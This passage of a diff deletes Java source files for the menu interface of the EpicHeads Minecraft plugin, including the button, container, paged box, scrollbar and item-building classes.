public void onClick(InventoryClickEvent event) {
|
||||
event.setCancelled(true);
|
||||
|
||||
// Make sure the player's inventory is up to date after the event is cancelled
|
||||
Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), player::updateInventory, 1);
|
||||
|
||||
int slot = event.getRawSlot();
|
||||
|
||||
MenuResponse response = container.handleClick(slot);
|
||||
|
||||
switch (response) {
|
||||
case CLOSE:
|
||||
player.closeInventory();
|
||||
break;
|
||||
case UPDATE:
|
||||
updateMenu();
|
||||
break;
|
||||
case NONE:
|
||||
break;
|
||||
default:
|
||||
throw new IllegalStateException("Unknown MenuResponse value " + response);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder().previous(super.toString()).entry("inventory", inventory).entry("player", player).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,9 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui;
|
||||
|
||||
public enum MenuResponse {
|
||||
|
||||
CLOSE,
|
||||
UPDATE,
|
||||
NONE
|
||||
|
||||
}
|
@ -1,40 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui;
|
||||
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
|
||||
public final class Position {
|
||||
|
||||
public static final Position ZERO = new Position(0, 0);
|
||||
|
||||
public final int x;
|
||||
public final int y;
|
||||
|
||||
public Position(int x, int y) {
|
||||
Checks.ensureTrue(x >= 0, "x must be at least 0");
|
||||
Checks.ensureTrue(y >= 0, "y must be at least 0");
|
||||
|
||||
this.x = x;
|
||||
this.y = y;
|
||||
}
|
||||
|
||||
public Position add(Position other) {
|
||||
return new Position(x + other.x, y + other.y);
|
||||
}
|
||||
|
||||
public Position add(int x, int y) {
|
||||
return new Position(this.x + x, this.y + y);
|
||||
}
|
||||
|
||||
public int toSerialIndex(int width) {
|
||||
return x + y * width;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("x", x)
|
||||
.entry("y", y).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,70 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.element;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.Position;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
public final class Container extends Element {
|
||||
|
||||
private final Button[] items;
|
||||
|
||||
public Container(Bounds bounds) {
|
||||
super(bounds);
|
||||
|
||||
this.items = new Button[bounds.getVolume()];
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
return items;
|
||||
}
|
||||
|
||||
public void addElement(Element element) {
|
||||
setItems(element.bounds, element.getItems());
|
||||
}
|
||||
|
||||
public void setItems(Bounds bounds, Button[] items) {
|
||||
Checks.ensureNonNull(bounds, "bounds");
|
||||
Checks.ensureNonNull(items, "items");
|
||||
Checks.ensureTrue(items.length == bounds.getVolume(), "length of items does not match the volume of bounds");
|
||||
Checks.ensureTrue(this.bounds.inBounds(bounds), "bounds is not within the bounds of the container");
|
||||
|
||||
for(int x = 0; x < bounds.width; x++) {
|
||||
for(int y = 0; y < bounds.height; y++) {
|
||||
Position fromPos = new Position(x, y);
|
||||
Position toPos = fromPos.add(bounds.position);
|
||||
|
||||
this.items[toPos.toSerialIndex(this.bounds.width)] = items[fromPos.toSerialIndex(bounds.width)];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void setItem(int x, int y, Button item) {
|
||||
setItem(new Position(x, y), item);
|
||||
}
|
||||
|
||||
public void setItem(Position position, Button item) {
|
||||
Checks.ensureNonNull(position, "position");
|
||||
Checks.ensureTrue(bounds.inBounds(position), "position is not within the bounds of the container");
|
||||
|
||||
items[position.toSerialIndex(bounds.width)] = item;
|
||||
}
|
||||
|
||||
public void clear() {
|
||||
Arrays.fill(items, null);
|
||||
}
|
||||
|
||||
public MenuResponse handleClick(int slot) {
|
||||
Checks.ensureTrue(slot >= 0, "slot cannot be less than 0");
|
||||
Checks.ensureTrue(slot < items.length, "slot must be less than the volume of the container");
|
||||
|
||||
Button item = items[slot];
|
||||
|
||||
return item == null ? MenuResponse.NONE : item.handleClick();
|
||||
}
|
||||
|
||||
}
|
@ -1,26 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.element;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
|
||||
public abstract class Element {
|
||||
|
||||
public final Bounds bounds;
|
||||
|
||||
public Element(Bounds bounds) {
|
||||
Checks.ensureNonNull(bounds, "bounds");
|
||||
|
||||
this.bounds = bounds;
|
||||
}
|
||||
|
||||
protected abstract Button[] getItems();
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("bounds", bounds).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,221 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.element;
|
||||
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.menu.ui.item.ButtonGroup;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.menu.ui.item.SelectableButton;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
public class PagedBox extends Element {
|
||||
|
||||
public static final Item defaultUnselected = Item.create(Material.PAPER).name("&7Page %page%");
|
||||
public static final Item defaultSelected = Items.createEmptyMap().name("&7Page %page%");
|
||||
public static final Button defaultLeftControl = Item.create(Material.REDSTONE_BLOCK).name("&cNo left control").buildButton();
|
||||
public static final Button defaultRightControl = Item.create(Material.REDSTONE_BLOCK).name("&cNo right control").buildButton();
|
||||
|
||||
public static final Template defaultTemplate = new Template(
|
||||
Scrollbar.defaultTemplate, defaultUnselected, defaultSelected
|
||||
);
|
||||
|
||||
private Template template;
|
||||
|
||||
private final Scrollbar scrollbar;
|
||||
private ButtonGroup pageButtons;
|
||||
|
||||
private Button leftControl;
|
||||
private Button rightControl;
|
||||
|
||||
private Button[] items;
|
||||
private int page;
|
||||
|
||||
public PagedBox(Bounds bounds) {
|
||||
super(bounds);
|
||||
|
||||
Checks.ensureTrue(bounds.height >= 2, "bounds height must be at least 2");
|
||||
Checks.ensureTrue(bounds.width >= 5, "bounds width must be at least 3");
|
||||
|
||||
Bounds scrollbarBounds = new Bounds(1, bounds.height - 1, bounds.width - 2, 1);
|
||||
|
||||
this.scrollbar = new Scrollbar(scrollbarBounds);
|
||||
this.pageButtons = new ButtonGroup();
|
||||
|
||||
this.items = new Button[0];
|
||||
this.page = 0;
|
||||
|
||||
setTemplate(defaultTemplate, defaultLeftControl, defaultRightControl);
|
||||
}
|
||||
|
||||
public boolean isScrollbarActive() {
|
||||
return items.length > bounds.getVolume();
|
||||
}
|
||||
|
||||
private Bounds getPageBounds() {
|
||||
return isScrollbarActive() ? new Bounds(bounds.position, bounds.width, bounds.height - 1) : bounds;
|
||||
}
|
||||
|
||||
public int getPageSize() {
|
||||
return getPageBounds().getVolume();
|
||||
}
|
||||
|
||||
public int getPages() {
|
||||
int pageSize = getPageSize();
|
||||
|
||||
return (items.length + pageSize - 1) / pageSize;
|
||||
}
|
||||
|
||||
private static int clamp(int num, int min, int max) {
|
||||
return (num < min ? min : (num > max ? max : num));
|
||||
}
|
||||
|
||||
public void setPage(int page) {
|
||||
this.page = clamp(page, 0, getPages() - 1);
|
||||
|
||||
scrollbar.scrollTo(page);
|
||||
pageButtons.select(page);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
Container container = new Container(bounds);
|
||||
|
||||
container.setItems(getPageBounds(), getPageContents());
|
||||
|
||||
container.addElement(scrollbar);
|
||||
container.setItem(0, bounds.height - 1, leftControl);
|
||||
container.setItem(bounds.width - 1, bounds.height - 1, rightControl);
|
||||
|
||||
return container.getItems();
|
||||
}
|
||||
|
||||
private Button[] getPageContents() {
|
||||
int pageSize = getPageSize();
|
||||
|
||||
int from = page * pageSize;
|
||||
int to = Math.min((page + 1) * pageSize, items.length);
|
||||
|
||||
if(to <= from)
|
||||
return new Button[pageSize];
|
||||
|
||||
Button[] pageContents = new Button[pageSize];
|
||||
|
||||
System.arraycopy(items, from, pageContents, 0, to - from);
|
||||
|
||||
return pageContents;
|
||||
}
|
||||
|
||||
public void setTemplate(Template template, Button leftControl, Button rightControl) {
|
||||
Checks.ensureNonNull(template, "template");
|
||||
|
||||
this.template = template;
|
||||
this.leftControl = leftControl;
|
||||
this.rightControl = rightControl;
|
||||
this.template.init(this);
|
||||
|
||||
setupPageScrollbar();
|
||||
}
|
||||
|
||||
public void setItems(Button[] items) {
|
||||
Checks.ensureNonNull(items, "items");
|
||||
|
||||
this.items = items;
|
||||
this.page = 0;
|
||||
|
||||
setupPageScrollbar();
|
||||
}
|
||||
|
||||
private void setupPageScrollbar() {
|
||||
int pages = getPages();
|
||||
|
||||
Button[] pageItems = new Button[pages];
|
||||
|
||||
pageButtons = new ButtonGroup();
|
||||
|
||||
for(int page = 0; page < pages; page++) {
|
||||
SelectableButton pageButton = template.constructPageButton(this, pageButtons, page);
|
||||
|
||||
pageButton.setSelected(page == this.page);
|
||||
|
||||
pageItems[page] = pageButton;
|
||||
}
|
||||
|
||||
scrollbar.setItems(pageItems);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("template", template)
|
||||
.entry("scrollbar", scrollbar)
|
||||
.entry("pageButtons", pageButtons)
|
||||
.entry("leftControl", leftControl)
|
||||
.entry("rightControl", rightControl)
|
||||
.entry("page", page).toString();
|
||||
}
|
||||
|
||||
public static final class Template {
|
||||
|
||||
private final Scrollbar.Template scrollbar;
|
||||
private final Item unselected;
|
||||
private final Item selected;
|
||||
|
||||
public Template(Scrollbar.Template scrollbar, Item unselected, Item selected) {
|
||||
|
||||
Checks.ensureNonNull(scrollbar, "scrollbar");
|
||||
Checks.ensureNonNull(unselected, "unselected");
|
||||
Checks.ensureNonNull(selected, "selected");
|
||||
|
||||
this.scrollbar = scrollbar;
|
||||
this.unselected = unselected;
|
||||
this.selected = selected;
|
||||
}
|
||||
|
||||
public void init(PagedBox pagedBox) {
|
||||
pagedBox.scrollbar.setTemplate(scrollbar);
|
||||
}
|
||||
|
||||
private ItemStack constructPageItem(Item templateItem, int page) {
|
||||
int humanPage = page + 1;
|
||||
Placeholder pagePlaceholder = new Placeholder("%page%", humanPage);
|
||||
|
||||
ItemStack item = templateItem.build(pagePlaceholder);
|
||||
item.setAmount(humanPage > 60 ? (humanPage % 10 == 0 ? 10 : humanPage % 10) : humanPage);
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
public ItemStack constructUnselectedPageItem(int page) {
|
||||
return constructPageItem(unselected, page);
|
||||
}
|
||||
|
||||
public ItemStack constructSelectedPageItem(int page) {
|
||||
return constructPageItem(selected, page);
|
||||
}
|
||||
|
||||
public SelectableButton constructPageButton(PagedBox pagedBox, ButtonGroup group, int page) {
|
||||
ItemStack unselectedItem = constructUnselectedPageItem(page);
|
||||
ItemStack selectedItem = constructSelectedPageItem(page);
|
||||
|
||||
return new SelectableButton(group, unselectedItem, selectedItem, () -> {
|
||||
pagedBox.setPage(page);
|
||||
return MenuResponse.UPDATE;
|
||||
});
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("scrollbar", scrollbar)
|
||||
.entry("unselected", unselected)
|
||||
.entry("selected", selected).toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,200 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.element;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.Bounds;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.menu.ui.item.Button;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.Material;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
public class Scrollbar extends Element {
|
||||
|
||||
public static final Item defaultLeft = Item.create(Material.ARROW).name("&7Left");
|
||||
public static final Item defaultRight = Item.create(Material.ARROW).name("&7Right");
|
||||
public static final Item defaultNoLeft = Item.create(Material.AIR);
|
||||
public static final Item defaultNoRight = Item.create(Material.AIR);
|
||||
public static final Item defaultFiller = Items.createBlackStainedGlassPane().name(" ");
|
||||
|
||||
public static final Template defaultTemplate = new Template(
|
||||
defaultLeft, defaultRight,
|
||||
defaultNoLeft, defaultNoRight,
|
||||
defaultFiller
|
||||
);
|
||||
|
||||
private Template template;
|
||||
|
||||
private Button[] items;
|
||||
private int index;
|
||||
|
||||
public Scrollbar(Bounds bounds) {
|
||||
super(bounds);
|
||||
|
||||
Checks.ensureTrue(bounds.width >= 3, "The width of bounds must be at least 3");
|
||||
Checks.ensureTrue(bounds.height == 1, "The height of bounds must be 1");
|
||||
|
||||
this.items = new Button[0];
|
||||
this.index = 0;
|
||||
|
||||
setTemplate(defaultTemplate);
|
||||
}
|
||||
|
||||
public boolean isScrollActive() {
|
||||
return items.length > bounds.width;
|
||||
}
|
||||
|
||||
public int getVisibleItems() {
|
||||
return isScrollActive() ? bounds.width - 2 : bounds.width;
|
||||
}
|
||||
|
||||
public int getMaxScroll() {
|
||||
return isScrollActive() ? items.length - bounds.width + 2 : 0;
|
||||
}
|
||||
|
||||
public boolean isLeftScrollActive() {
|
||||
return isScrollActive() && index > 0;
|
||||
}
|
||||
|
||||
public boolean isRightScrollActive() {
|
||||
return isScrollActive() && index < getMaxScroll();
|
||||
}
|
||||
|
||||
public MenuResponse scrollLeft() {
|
||||
if(!isLeftScrollActive())
|
||||
return MenuResponse.NONE;
|
||||
|
||||
index--;
|
||||
|
||||
return MenuResponse.UPDATE;
|
||||
}
|
||||
|
||||
public MenuResponse scrollRight() {
|
||||
if(!isRightScrollActive())
|
||||
return MenuResponse.NONE;
|
||||
|
||||
index++;
|
||||
|
||||
return MenuResponse.UPDATE;
|
||||
}
|
||||
|
||||
private static int clamp(int num, int min, int max) {
|
||||
return (num < min ? min : (num > max ? max : num));
|
||||
}
|
||||
|
||||
public void scrollTo(int index) {
|
||||
index = clamp(index, 0, items.length - 1);
|
||||
|
||||
int visibleItems = getVisibleItems();
|
||||
|
||||
if(index < this.index) {
|
||||
this.index = index;
|
||||
} else if(index >= this.index + visibleItems) {
|
||||
this.index = index - visibleItems + 1;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Button[] getItems() {
|
||||
Button[] scrollbar = new Button[bounds.getVolume()];
|
||||
|
||||
if(isScrollActive()) {
|
||||
if(isLeftScrollActive()) {
|
||||
scrollbar[0] = template.constructScrollLeftButton(this);
|
||||
} else {
|
||||
scrollbar[0] = template.constructNoScrollLeftItem();
|
||||
}
|
||||
|
||||
if(isRightScrollActive()) {
|
||||
scrollbar[bounds.width - 1] = template.constructScrollRightButton(this);
|
||||
} else {
|
||||
scrollbar[bounds.width - 1] = template.constructNoScrollRightItem();
|
||||
}
|
||||
|
||||
System.arraycopy(items, index, scrollbar, 1, bounds.width - 2);
|
||||
} else {
|
||||
System.arraycopy(items, 0, scrollbar, 0, items.length);
|
||||
Arrays.fill(scrollbar, items.length, bounds.width, template.constructFillerItem());
|
||||
}
|
||||
|
||||
return scrollbar;
|
||||
}
|
||||
|
||||
public void setTemplate(Template template) {
|
||||
Checks.ensureNonNull(template, "template");
|
||||
|
||||
this.template = template;
|
||||
}
|
||||
|
||||
public void setItems(Button[] items) {
|
||||
Checks.ensureNonNull(items, "items");
|
||||
|
||||
this.items = items;
|
||||
this.index = 0;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("template", template)
|
||||
.entry("items", items)
|
||||
.entry("index", index).toString();
|
||||
}
|
||||
|
||||
public static final class Template {
|
||||
|
||||
private final Item left;
|
||||
private final Item right;
|
||||
private final Item noLeft;
|
||||
private final Item noRight;
|
||||
private final Item filler;
|
||||
|
||||
public Template(Item left, Item right, Item noLeft, Item noRight, Item filler) {
|
||||
Checks.ensureNonNull(left, "left");
|
||||
Checks.ensureNonNull(right, "right");
|
||||
Checks.ensureNonNull(noLeft, "noLeft");
|
||||
Checks.ensureNonNull(noRight, "noRight");
|
||||
Checks.ensureNonNull(filler, "filler");
|
||||
|
||||
this.left = left;
|
||||
this.right = right;
|
||||
this.noLeft = noLeft;
|
||||
this.noRight = noRight;
|
||||
this.filler = filler;
|
||||
}
|
||||
|
||||
public Button constructScrollLeftButton(Scrollbar scrollbar) {
|
||||
return left.buildButton(scrollbar::scrollLeft);
|
||||
}
|
||||
|
||||
public Button constructScrollRightButton(Scrollbar scrollbar) {
|
||||
return right.buildButton(scrollbar::scrollRight);
|
||||
}
|
||||
|
||||
public Button constructNoScrollLeftItem() {
|
||||
return noLeft.buildButton();
|
||||
}
|
||||
|
||||
public Button constructNoScrollRightItem() {
|
||||
return noRight.buildButton();
|
||||
}
|
||||
|
||||
public Button constructFillerItem() {
|
||||
return filler.buildButton();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("left", left)
|
||||
.entry("right", right)
|
||||
.entry("noLeft", noLeft)
|
||||
.entry("noRight", noRight)
|
||||
.entry("filler", filler).toString();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
@ -1,50 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.item;
|
||||
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.SafeCall;
|
||||
import com.songoda.epicheads.util.SafeCall.SafeCallable;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class Button {
|
||||
|
||||
private ItemStack item;
|
||||
private final SafeCallable<MenuResponse> onClick;
|
||||
|
||||
public Button(ItemStack item) {
|
||||
this(item, () -> MenuResponse.NONE);
|
||||
}
|
||||
|
||||
public Button(ItemStack item, Callable<MenuResponse> onClick) {
|
||||
Checks.ensureNonNull(item, "item");
|
||||
Checks.ensureNonNull(onClick, "onClick");
|
||||
|
||||
this.item = item;
|
||||
this.onClick = SafeCall.nonNullCallable(onClick, "onClick");
|
||||
}
|
||||
|
||||
public ItemStack getItem() {
|
||||
return item;
|
||||
}
|
||||
|
||||
public void setItem(ItemStack item) {
|
||||
Checks.ensureNonNull(item, "item");
|
||||
|
||||
this.item = item;
|
||||
}
|
||||
|
||||
public MenuResponse handleClick() {
|
||||
return onClick.call();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("item", item)
|
||||
.entry("onClick", onClick).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.item;
|
||||
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class ButtonGroup {
|
||||
|
||||
private final List<SelectableButton> buttons = new ArrayList<>();
|
||||
|
||||
public void addButton(SelectableButton button) {
|
||||
Checks.ensureNonNull(button, "button");
|
||||
|
||||
buttons.add(button);
|
||||
}
|
||||
|
||||
public int getFirstSelectedIndex() {
|
||||
for(int index = 0; index < buttons.size(); index++) {
|
||||
if(buttons.get(index).isSelected())
|
||||
return index;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
public void select(int index) {
|
||||
if(index >= 0 && index < buttons.size()) {
|
||||
buttons.get(index).setSelected(true);
|
||||
} else {
|
||||
unselectAll();
|
||||
}
|
||||
}
|
||||
|
||||
public void unselectAll() {
|
||||
for(SelectableButton button : buttons) {
|
||||
button.setSelected(false);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return Stringify.builder()
|
||||
.entry("numButtons", buttons.size()).toString();
|
||||
}
|
||||
|
||||
}
|
@ -1,366 +0,0 @@
|
||||
package com.songoda.epicheads.menu.ui.item;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.config.lang.Placeholder;
|
||||
import com.songoda.epicheads.menu.ui.MenuResponse;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import com.songoda.epicheads.util.Stringify;
|
||||
import com.songoda.epicheads.volatilecode.ItemNBT;
|
||||
import com.songoda.epicheads.volatilecode.reflection.Version;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.Material;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import org.bukkit.inventory.meta.ItemMeta;
|
||||
import org.bukkit.material.MaterialData;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.concurrent.Callable;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
import java.util.function.Function;
|
||||
|
||||
public final class Item {
|
||||
|
||||
private final Material type;
|
||||
private final int amount;
|
||||
private final short damage;
|
||||
|
||||
private final String name;
|
||||
private final String[] lore;
|
||||
|
||||
private final boolean enchanted;
|
||||
|
||||
private Item(Material type) {
|
||||
this(type, 1, (short) 0, null, null, false);
|
||||
}
|
||||
|
||||
private Item(Material type, int amount, short damage, String name, String[] lore, boolean enchanted) {
|
||||
Checks.ensureNonNull(type, "type");
|
||||
Checks.ensureTrue(amount > 0, "amount must be greater than 0");
|
||||
Checks.ensureTrue(damage >= 0, "damage must be greater than or equal to 0");
|
||||
if (lore != null) {
|
||||
Checks.ensureArrayNonNull(lore, "lore");
|
||||
}
|
||||
this.type = type;
|
||||
this.amount = amount;
|
||||
this.damage = damage;
|
||||
this.name = name;
|
||||
this.lore = (lore == null || lore.length == 0 ? null : lore);
|
||||
this.enchanted = enchanted;
|
||||
}
|
||||
|
||||
public Item amount(int amount) {
|
||||
return new Item(type, amount, damage, name, lore, enchanted);
|
||||
}
|
||||
|
||||
public Item damage(short damage) {
|
||||
return new Item(type, amount, damage, name, lore, enchanted);
|
||||
}
|
||||
|
||||
public Item name(String name) {
|
||||
return new Item(type, amount, damage, name, lore, enchanted);
|
||||
}
|
||||
|
||||
public Item lore(String... lore) {
|
||||
return new Item(type, amount, damage, name, lore, enchanted);
|
||||
}
|
||||
|
||||
public Item enchanted(boolean enchanted) {
|
||||
return new Item(type, amount, damage, name, lore, enchanted);
|
||||
}
|
||||
|
||||
public Button buildButton(Placeholder... placeholders) {
|
||||
return new Button(build(placeholders));
|
||||
}
|
||||
|
||||
public Button buildButton(Callable<MenuResponse> callable, Placeholder... placeholders) {
|
||||
return new Button(build(placeholders), callable);
|
||||
}
|
||||
|
||||
public ItemStack build(Placeholder... placeholders) {
|
||||
return build(null, placeholders);
|
||||
}
|
||||
|
||||
public ItemStack build(Function<String, Boolean> loreFilter, Placeholder... placeholders) {
|
||||
Checks.ensureNonNull(placeholders, "placeholders");
|
||||
|
||||
ItemStack item = new ItemStack(type, amount, damage);
|
||||
|
||||
ItemMeta meta = item.getItemMeta();
|
||||
|
||||
if (meta == null)
|
||||
return item;
|
||||
|
||||
if (name != null) {
|
||||
String displayName = ChatColor.translateAlternateColorCodes('&', name);
|
||||
|
||||
displayName = Placeholder.applyAll(displayName, placeholders);
|
||||
|
||||
meta.setDisplayName(displayName);
|
||||
}
|
||||
|
||||
if (lore != null) {
|
||||
String[] itemLore = Placeholder.colourAll(lore);
|
||||
|
||||
itemLore = Placeholder.filterAndApplyAll(itemLore, loreFilter, placeholders);
|
||||
|
||||
meta.setLore(Arrays.asList(itemLore));
|
||||
}
|
||||
|
||||
item.setItemMeta(meta);
|
||||
|
||||
if (enchanted) {
|
||||
item = ItemNBT.addGlow(item);
|
||||
}
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
public void save(ConfigurationSection section, String key) {
|
||||
section.set(key, null);
|
||||
save(section.createSection(key));
|
||||
}
|
||||
|
||||
public void save(ConfigurationSection section) {
|
||||
section.set("type", getTypeName(type));
|
||||
|
||||
if (amount != 1) {
|
||||
section.set("amount", amount);
|
||||
}
|
||||
|
||||
if (damage != 0) {
|
||||
section.set("damage", damage);
|
||||
}
|
||||
|
||||
if (name != null) {
|
||||
section.set("name", name);
|
||||
}
|
||||
|
||||
if (lore != null) {
|
||||
section.set("lore", Arrays.asList(lore));
|
||||
}
|
||||
|
||||
if (enchanted) {
|
||||
section.set("enchanted", true);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
if (!(obj instanceof Item))
|
||||
return false;
|
||||
|
||||
Item other = (Item) obj;
|
||||
|
||||
return other.type == type && other.amount == amount && Objects.equals(other.name, name) && (other.lore == null ? lore == null : Arrays.equals(other.lore, lore)) && other.enchanted == enchanted;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
Stringify.Builder properties = Stringify.builder();
|
||||
{
|
||||
properties.entry("type", getTypeName(type));
|
||||
|
||||
if (amount != 1) {
|
||||
properties.entry("amount", amount);
|
||||
}
|
||||
|
||||
if (name != null) {
|
||||
properties.entry("name", name);
|
||||
}
|
||||
|
||||
if (Version.isBelow(Version.v1_13)) {
|
||||
if (damage != 0) {
|
||||
properties.entry("data", damage);
|
||||
}
|
||||
} else {
|
||||
if (damage != 0) {
|
||||
properties.entry("damage", damage);
|
||||
}
|
||||
}
|
||||
|
||||
if (lore != null) {
|
||||
properties.entry("lore", lore);
|
||||
}
|
||||
|
||||
if (enchanted) {
|
||||
properties.entry("enchanted", true);
|
||||
}
|
||||
}
|
||||
return properties.toString();
|
||||
}
|
||||
|
||||
public static Item create(Material type) {
|
||||
return new Item(type);
|
||||
}
|
||||
|
||||
public static Item create(Material type, byte data) {
|
||||
if (Version.isBelow(Version.v1_13)) {
|
||||
return new Item(type, 1, data, null, null, false);
|
||||
}
|
||||
return new Item(type, 1, (short) 0, null, null, false);
|
||||
}
|
||||
|
||||
public static Item create(ItemStack itemStack) {
|
||||
Item item = create(itemStack.getType()).amount(itemStack.getAmount()).damage(itemStack.getDurability());
|
||||
|
||||
ItemMeta meta = itemStack.getItemMeta();
|
||||
|
||||
if (meta == null)
|
||||
return item;
|
||||
|
||||
if (meta.hasDisplayName()) {
|
||||
String name = meta.getDisplayName().replace(ChatColor.COLOR_CHAR, '&');
|
||||
|
||||
item = item.name(name);
|
||||
}
|
||||
|
||||
if (meta.hasLore()) {
|
||||
List<String> rawLore = meta.getLore();
|
||||
String[] lore = new String[rawLore.size()];
|
||||
|
||||
for (int index = 0; index < lore.length; ++index) {
|
||||
lore[index] = rawLore.get(index).replace(ChatColor.COLOR_CHAR, '&');
|
||||
}
|
||||
|
||||
item = item.lore(lore);
|
||||
}
|
||||
|
||||
if (meta.hasEnchants()) {
|
||||
item = item.enchanted(true);
|
||||
}
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
private static void updateLegacyTypes(String filename, ConfigurationSection section, AtomicBoolean shouldSave) {
|
||||
if (!section.isSet("type"))
|
||||
return;
|
||||
|
||||
if (Version.isBelow(Version.v1_13) && section.isSet("data")) {
|
||||
section.set("damage", section.get("data"));
|
||||
section.set("data", null);
|
||||
shouldSave.set(true);
|
||||
}
|
||||
|
||||
String typeName = section.getString("type");
|
||||
String typeData = section.getString("damage", null);
|
||||
Material type = Material.matchMaterial(typeName);
|
||||
if (type != null && !section.isInt("type"))
|
||||
return;
|
||||
|
||||
if (section.isInt("type")) {
|
||||
int typeId = section.getInt("type");
|
||||
String convertedType = EpicHeads.getInstance().getLegacyIDs().fromId(typeId);
|
||||
|
||||
if (convertedType == null || convertedType.isEmpty()) {
|
||||
Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", " + "unknown type id " + typeId);
|
||||
return;
|
||||
}
|
||||
|
||||
if (Version.isBelow(Version.v1_13)) {
|
||||
type = Material.matchMaterial(convertedType);
|
||||
} else {
|
||||
type = null;
|
||||
}
|
||||
|
||||
section.set("type", convertedType.toLowerCase());
|
||||
}
|
||||
|
||||
boolean legacy = false;
|
||||
if (type == null && !Version.isBelow(Version.v1_13)) {
|
||||
type = Material.valueOf("LEGACY_" + section.getString("type").toUpperCase().replace(' ', '_'));
|
||||
legacy = true;
|
||||
}
|
||||
|
||||
if (type == null) {
|
||||
Methods.formatText("Invalid type of item " + section.getCurrentPath() + ", could not find type " + typeName);
|
||||
return;
|
||||
}
|
||||
|
||||
if (legacy && !Version.isBelow(Version.v1_13)) {
|
||||
Material legacyType = type;
|
||||
int data = section.getInt("damage");
|
||||
byte byteData = (byte) (data >= 0 && data < 16 ? data : 0);
|
||||
|
||||
